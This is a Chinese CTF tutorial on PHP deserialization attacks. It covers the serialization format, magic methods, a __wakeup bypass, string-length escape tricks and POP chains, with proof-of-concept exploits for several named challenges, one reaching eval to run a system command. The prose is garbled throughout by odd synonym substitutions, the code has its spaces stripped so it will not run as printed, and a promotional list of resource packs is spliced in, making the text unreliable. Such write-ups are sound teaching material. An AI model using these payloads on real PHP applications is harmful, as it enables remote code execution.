前段时间写了点反格式化的题,Conques,期望对CTF初学者略有协助,G540严重错误还请舍长们Behren。
具体来说他们须要认知甚么是格式化,甚么是反格式化?
格式化是将表达式或第一类转化成数组的操作过程,用作储存或传达 PHP 的值的操作过程中,与此同时不遗失其类别和内部结构。
透过格式化与反格式化他们能很方便快捷的在PHP中展开第一类的传达。其本质上反格式化是没危害性的。但假如使用者对统计数据受控那就能借助反格式化内部内部结构payload反击。这种说可能将还并非很具体内容,举个许慎比如说你网买回两个门边,提货为节省成本,是拆下给你发往后,到你手里,接着给你附件让你装配,拆下给你那个操作过程能说是格式化,你装配的操作过程是反格式化
<?phpclassTEST{ public$test1=“11”; private$test2=“22”;protected$test3=“33”; publicfunctiontest4() { echo$this->test1; } } $a=newTEST(); echoserialize($a); //O:4:”TEST”:3:{s:5:”test1″;s:2:”11″;s:11:” TEST test2″;s:2:”22″;s:8:” * test3″;s:2:”33″;}
O代表类,接着后面4代表类名长度,接着双引号内是类名
接着是类中表达式的个数:{类别:长度:”值”;类别:长度:”值”…以此类推}
protected 和private其实是有不可打印字符的,所以这里附上截图
从图中能看到有几个不可打印字符,关于那个还有一些特别的地方,和具体内容放在了后边写
有时候做题时为了防止传参中G540意外,一般就会urlencode呵呵
甚么是魔术方法?
其实是一种特殊方法当对第一类执行某些操作时会覆盖 PHP 的默认操作
举个例子如下,这里用常见的construct和destruct魔术方法,其实是内部内部结构函数和析构函数
<?phpclassA{ public$a=“这里是__construct”; publicfunction__construct() { echo$this->a; } publicfunction__destruct() { echo$this->a=“这里是__destruct”; } } $a=newA();
//输出这里是construct这里是destruct
__construct 当两个第一类创建时被调用,
__toString 当两个第一类被当作两个数组被调用。
__wakeup() 使用unserialize时触发
__call() 对不存在的方法或者不可访问的方法展开调用就自动调用
__callStatic() 在静态上下文中调用不可访问的方法时触发
__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作数组使用时触发,返回值须要为数组
__invoke() 当脚本尝试将第一类调用为函数时触发
光看还是了解不够,具体内容还得到亲自尝试才能,下面我做了一些CTF题,在此分享给大家。
① 网安自学成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)
单纯的反格式化题
题目来自[SWPUCTF 2021 新生赛]ez_unserialize
<?phperror_reporting(0); show_source(“cl45s.php”); classwllm{ public$admin; public$passwd; publicfunction__construct(){ $this->admin=“user”; $this->passwd=“123456”; } publicfunction__destruct(){ if($this->admin===“admin”&&$this->passwd===“ctf”){include(“flag.php”); echo$flag; }else{ echo$this->admin; echo$this->passwd; echo“Just a bit more!”; } } } $p=$_GET[p]; unserialize($p); ?>
在construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法须要把$this->admin === “admin” && $this->passwd === “ctf”那个式子成立才能输出flag
php反格式化是能控制类方法的属性但不能改类方法的代码
<?phpclasswllm{ public$admin; public$passwd; publicfunction__construct(){ $this->admin=“admin”; $this->passwd=“ctf”; } } $a=newwllm(); echourlencode(serialize($a)); ?>
接着传参就行了,一般这里要url编码呵呵,规避不可打印字符,前面他们提到private protected 属性 格式化出来会有不可打印字符。
__wakeup绕过
影响版本php5<5.6.25,php7<7.010
单纯描述是格式化数组中表示第一类属性个数的值大于真实的属性个数时会跳过__wakeup的执行
而魔术方法__wakeup执行unserialize()时,先会调用那个函数
<?phpclassA{ public$a; publicfunction__construct() { $this->a=“触发__construct”; } publicfunction__wakeup() { $this->a=“触发__wakeup”; } publicfunction__destruct() { echo$this->a; } } $a=newA(); echoserialize($a);
O:1:”A”:1:{s:1:”a”;s:17:”触发__construct”;}先正常格式化呵呵
O:1:”A”:2:{s:1:”a”;s:17:”触发__construct”;} 把第一类个数改为2
[极客大挑战 2019]PHP __wakeup()绕过
<?phpincludeclass.php; $select=$_GET[select]; $res=unserialize(@$select);<?phpincludeflag.php; error_reporting(0); className{ private$username=nonono; private$password=yesyes; publicfunction__construct($username,$password){ $this->username=$username; $this->password=$password; } function__wakeup(){ $this->username=guest; } function__destruct(){ if ($this->password!=100) { echo“</br>NO!!!hacker!!!</br>”; echo“You name is: “; echo$this->username;echo“</br>”; echo“You password is: “; echo$this->password;echo“</br>”; die(); } if ($this->username===admin) { global$flag; echo$flag; }else{ echo“</br>hello my friend~~</br>sorry i cant give you the flag!”; die(); } } }
看源码他们须要password=100,username=admin,但反格式化操作过程中wakeup方法里会把username赋值为guest;
这里他们先生成两个第一类,接着格式化并Url编码,接着把它反格式化,var_dump呵呵看看
//$a=new Name(admin,100);//echo urlencode(serialize($a)); //echo serialize($a); $b=“O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D”; var_dump(unserialize(urldecode($b)));
O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
<?phpclassName{ private$username=admin; private$password=100; publicfunction__construct($username,$password){ $this->username=$username; $this->password=$password; } } $a=newName(admin,100); echourlencode(serialize($a)); //echo serialize($a); //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D?>
反序列化逃逸问题
逃逸问题的其本质是改变格式化数组的长度,导致反格式化漏洞
由长变短
<?phphighlight_file(__FILE__); classA{ public$a; public$b; public$c; publicfunction__construct() { $this->a=$_GET[a]; $this->b=“noflag”;$this->c=$_GET[c]; } publicfunctioncheck() { if ($this->b===“123”) { echo“flag{123dddd}”; } elseif ($this->a===“test”) { echo“give you flag”; } else { echo“no flag”; } } publicfunction__destruct() { $this->check(); } } $a=newA(); $b=serialize($a); $c=str_replace(“aa”,“b”,$b); unserialize($c);
这里本地写两个试验单纯借助下,学会那个逃逸思路即可
$b=serialize($a); echo$b; $c=str_replace(“aa”,“b”,$b); echo($c); //O:1:”A”:3:{s:1:”a”;s:4:”aaaa”;s:1:”b”;s:6:”noflag”;s:1:”c”;s:2:”11″;}//O:1:”A”:3:{s:1:”a”;s:4:”bb”;s:1:”b”;s:6:”noflag”;s:1:”c”;s:2:”11″;}
这里试验呵呵,很明显能看见4个aaaa 变成了两个b,但s:4依然是四个数组,a的值就相当于是从aaaa变成了bb”;这种,相当于往后吞噬掉了两位,而那个题须要$b为123才能给flag,
$this->b=”noflag”;而那个已经给b赋值了,他们格式化出来能看到s:1:”b”;s:6:”noflag”,之前能看出,借助那个过滤能吞噬掉后边的格式化,那岂并非能把后边的都吞噬掉,接着根据格式化格式补全,依然能正常的反格式化出来,把$b的值给覆盖掉
print(len(“;s:1:”b”;s:6:”noflag”;s:1:”c”;s:3:)) print(36*aa) //35//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
35个长度,内部内部结构出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa
a=36个aa,c=;s:1:”b”;s:3:”123
O:1:“A”:3:{s:1:“a”;s:72:“bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb”;s:1:“b”;s:6:“noflag”;s:1:“c”;s:17:“;s:1:”b“;s:3:”123“;}bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb“;s:1:”b“;s:6:”noflag“;s:1:”c“;s:17:print(len(bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb”;s:1:”b”;s:6:”noflag”;s:1:”c”;s:17:))
由短变长
index.php<?phperror_reporting(0); classmessage{ public$from; public$msg; public$to; public$token=user; publicfunction__construct($f,$m,$t){ $this->from=$f; $this->msg=$m; $this->to=$t; } } $f=$_GET[f]; $m=$_GET[m]; $t=$_GET[t]; if(isset($f) &&isset($m) &&isset($t)){ $msg=newmessage($f,$m,$t); $umsg=str_replace(fuck, loveU, serialize($msg)); setcookie(msg,base64_encode($umsg)); echoYour message has been sent; }
<?phphighlight_file(__FILE__); include(flag.php); classmessage{ public$from; public$msg; public$to; public$token=user; publicfunction__construct($f,$m,$t){ $this->from=$f; $this->msg=$m; $this->to=$t; } } if(isset($_COOKIE[msg])){ $msg=unserialize(base64_decode($_COOKIE[msg])); if($msg->token==admin){ echo$flag; } }
很明显,要想得到flag要把token值更改为admin
但正常反格式化,数组个数是固定的,$umsg = str_replace(fuck, loveU, serialize($msg));但这里fuck被替换为loveU,四个字符被替换成五个字符,单纯演示呵呵
<?php class test { public $username=”fuckfuck”; public $password; } $a=new test(); //echo serialize($a); echo str_replace(fuck,loveU,serialize($a)); //O:4:”test”:2:{s:8:”username”;s:8:”fuckfuck”;s:8:”password”;N;} //O:4:”test”:2:{s:8:”username”;s:8:”loveUloveU”;s:8:”password”;N;}
能很明显的看出来,s:8数组应该是8个,替换后变为10个,因为有两个fuck,这种还看不出来甚么,假如他们把多的数组改为”;s:5:”token”;s:5:”admin”;}而此时后面的”;s:5:”token”;s:4:”user”;}那个就无效了
因为php在反格式化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,与此同时反格式化的操作过程中必须严格按照格式化规则才能成功实现反格式化
伪造的格式化数组变成真的了,伪造的格式化数组长度为27,loveU比fuck多一位
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:”token”;s:5:”admin”;}
接着访问message.php即可 当然那个有非预期解,间接修改token值写到cookie里就行,不过关键是了解到反格式化数组逃逸问题的思路
POP链内部内部结构
做这种题关键是php魔术方法,内部内部结构PHP先找到头部和尾部,头部是使用者受控的地方,也是能传入参数的地方,接着找尾部,比如说关键代码,eval,file_put_contents这种,接着从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来自学下
[SWPUCTF 2021 新生赛]pop
<?php error_reporting(0); show_source(“index.php”); class w44m{ private $admin = aaa; protected $passwd = 123456; public function Getflag(){ if($this->admin === w44m && $this->passwd ===08067){ include(flag.php); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo nono; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET[w00m]; unserialize($w00m); ?>
须要admin为w44m,passwd为08067 才能得到flag
if($this->admin === w44m && $this->passwd ===08067){
发现能借助$this->w00m->{$this->w22m}();
那个地方,修改w22m=getflag,那么那个地方就有getflag()函数了
在类w22m中 方法__destruct中echo $this->w00m;echo了两个第一类,会触发tostring方法
__toString 当两个第一类被当作两个数组被调用。这种的话他们便可以借助to_Sting方法里面的代码了,传参点是w00m,
链子内部内部结构为 w22m::__destruct->w33m::toString->w44m::getflag
poc如下,这里要用urlencode,因为他们前面提到private和protected生产格式化有不可见字符
<?php class w44m{ private $admin = w44m; protected $passwd = 08067; } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m=””; public $w22m=”getflag”; public function __toString(){ $this->w00m->{$this->w22m}(); return 1; } } $a=new w22m(); $a->w00m=new w33m(); $a->w00m->w00m=new w44m(); echo urlencode( serialize($a)); ?>
[NISACTF 2022]babyserialize
<?phpinclude“waf.php”; classNISA{ public$fun=“show_me_flag”; public$txw4ever; publicfunction__wakeup() { if($this->fun==“show_me_flag”){ hint(); } } function__call($from,$val){ $this->fun=$val[0]; } publicfunction__toString() { echo$this->fun; return““; } publicfunction__invoke() {checkcheck($this->txw4ever); @eval($this->txw4ever); } } classTianXiWei{ public$ext; public$x; publicfunction__wakeup() { $this->ext->nisa($this->x); } } classIlovetxw{ public$huang; public$su; publicfunction__call($fun1,$arg){ $this->huang->fun=$arg[0]; } publicfunction__toString(){ $bb=$this->su; return$bb(); } } classfour{ public$a=“TXW4EVER”; private$fun=abc; publicfunction__set($name, $value) { $this->$name=$value; if ($this->fun=“sixsixsix”){ strtolower($this->a); } } } if(isset($_GET[ser])){ @unserialize($_GET[ser]); }else{ highlight_file(__FILE__); } //func checkcheck($data){ // if(preg_match(……)){ // die(something wrong); // }//} //function hint(){ // echo “…….”; // die(); //} ?>查看了呵呵提示发现甚么也没if(isset($_GET[ser])){@unserialize($_GET[ser]);这是头部这是尾部publicfunction__invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
__invoke() 当脚本尝试将第一类调用为函数时触发
那么$bb是class Nisa的第一类就会调用 __invoke
找类似echo 这种代码,而这里有个strtolower
在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
在four类的中有private $fun=abc;
Ilovetxw类中的__call方法访问了fun那个表达式
function __call($from,$val){ $this->fun=$val[0]; }
对不存在的方法或者不可访问的方法展开调用就自动调用
TianXiWei类中的wakeup会触发call
$this->ext->nisa($this->x); nisa()那个方法并不存在
<?phpclassnisa{ public$b=“”; } classTianXiWei{ public$ext; public$x; publicfunction__wakeup() { $this->ext->nisa($this->x); } } classtest{ public$a=“”; publicfunction__call($a,$b) { echo“call”; } } $a=newTianXiWei(); $a->ext=newtest(); //echo urlencode(serialize($a));echoserialize($a);//O:9:”TianXiWei”:2:{s:3:”ext”;O:4:”test”:1:{s:1:”a”;s:0:””;}s:1:”x”;N;}//echo serialize($a->ext);//O:4:”test”:1:{s:1:”a”;s:0:””;}
wakeup方法反格式化会触发,而里面nisa方法并不存在,$a->ext=new test()这种会触发到call,在本地试验的时候这种调用会echo call,另外他们能看出格式化$a和$->ext是不一样的结果
TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invokePOC<?phpclassNISA{ public$fun=“”; public$txw4ever=“sYstem(ls /);”;//有过滤,大小写绕过 } classTianXiWei{ public$ext; public$x; } classIlovetxw{ public$huang; public$su; } classfour{ public$a=“TXW4EVER”; private$fun=abc; } $a=newTianXiWei();//从这里下手触发__wakeup $a->ext=newIlovetxw();//触发__call $a->ext->huang=newfour();//触发__set $a->ext->huang->a=newIlovetxw();//触发__tosrting$a->ext->huang->a->su=newNISA();//触发__invoke echourlencode(serialize($a));
相信到这里,做这种题已经有一定思路了,不要着急,找到方向,接着一步一步去内部内部结构。